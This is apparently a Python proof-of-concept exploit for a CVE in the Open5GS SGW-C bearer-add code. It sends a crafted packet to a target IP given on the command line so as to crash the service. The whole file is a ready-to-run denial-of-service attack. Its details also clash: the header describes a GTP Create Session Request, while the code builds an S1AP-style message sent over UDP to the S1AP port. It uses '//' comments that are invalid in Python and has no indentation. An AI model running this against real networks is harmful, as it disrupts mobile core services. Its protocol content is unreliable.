// CVE-2025-15531 PoC - Open5GS SGWC Bearer Add Assertion
// Target: Open5GS <= 2.7.5
// Type: Denial of Service via Reachable Assertion
// This PoC demonstrates triggering the assertion in sgwc_bearer_add
// by sending a crafted Create Session Request with invalid bearer parameters
import socket
import struct
def create_crafted_s1ap_message():
"""Generate a crafted S1AP message to trigger sgwc_bearer_add assertion"""
# S1AP message header
protocol_id = 0x00 # S1AP
procedure_code = 0x0d # Initial Context Setup Request / Bearer establishment
# Construct message with malformed bearer information
message = bytearray()
# MME UE S1AP ID
message.extend([0x00, 0x0f]) # IEI for MME UE S1AP ID
message.extend([0x00, 0x04]) # Length
message.extend([0x00, 0x00, 0x00, 0x01]) # UE ID value
# eNB UE S1AP ID
message.extend([0x00, 0x10]) # IEI for eNB UE S1AP ID
message.extend([0x00, 0x04]) # Length
message.extend([0x00, 0x00, 0x00, 0x02]) # UE ID value
# Data Radio Bearer ID (crafted for assertion trigger)
message.extend([0x00, 0x57]) # IEI for Data Radio Bearer ID
message.extend([0x00, 0x01]) # Length
message.extend([0x00]) # Invalid/zero bearer ID to trigger assertion
# E-RAB ID List (malformed)
message.extend([0x00, 0x5b]) # IEI for E-RAB to Be Setup List
message.extend([0x00, 0x10]) # Length
message.extend([0x00, 0x01, 0x00, 0x0c]) # E-RAB ID: 1
message.extend([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
return bytes(message)
def send_exploit(target_ip, target_port=36412):
"""Send crafted packet to Open5GS SGWC"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = create_crafted_s1ap_message()
try:
sock.sendto(payload, (target_ip, target_port))
print(f"[+] Crafted packet sent to {target_ip}:{target_port}")
print(f"[+] Payload length: {len(payload)} bytes")
print("[*] Expected result: Open5GS sgwc_bearer_add assertion failure")
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python cve-2025-15531.py <target_ip>")
sys.exit(1)
send_exploit(sys.argv[1])